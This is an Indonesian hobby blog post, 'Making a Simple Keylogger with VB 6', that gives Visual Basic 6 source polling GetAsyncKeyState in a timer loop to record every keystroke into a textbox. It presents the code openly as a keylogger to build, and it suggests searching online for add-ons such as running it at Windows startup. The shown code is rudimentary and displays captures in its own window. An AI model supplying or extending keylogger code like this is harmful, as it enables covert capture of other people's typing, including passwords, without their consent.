0 Membuat Simple Keylogger Dengan VB 6

Sebenarnya iseng" aja buat posting kali ini, tpi gk sreek kalo gk ngeshare simple keylogger dari VB6 .. simplenya keylogger ini cuma bisa merekam hasil ketik'kan keyboard..
untuk memperbanyak fungsinya kamu searching aja di google mungkin banyak , misalnya membuat keylogger StartUp Windows.. tpi kali ini saya cuma share simple keylogger, ok langsung saja:

Buka vb seperti biasa,
Tambahkan 1 Timer dan 1 Textbox
Masukan script berikut ini:

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub

Jalankan programnya(F5) hasilnya saya seperti berikut:

Komentar →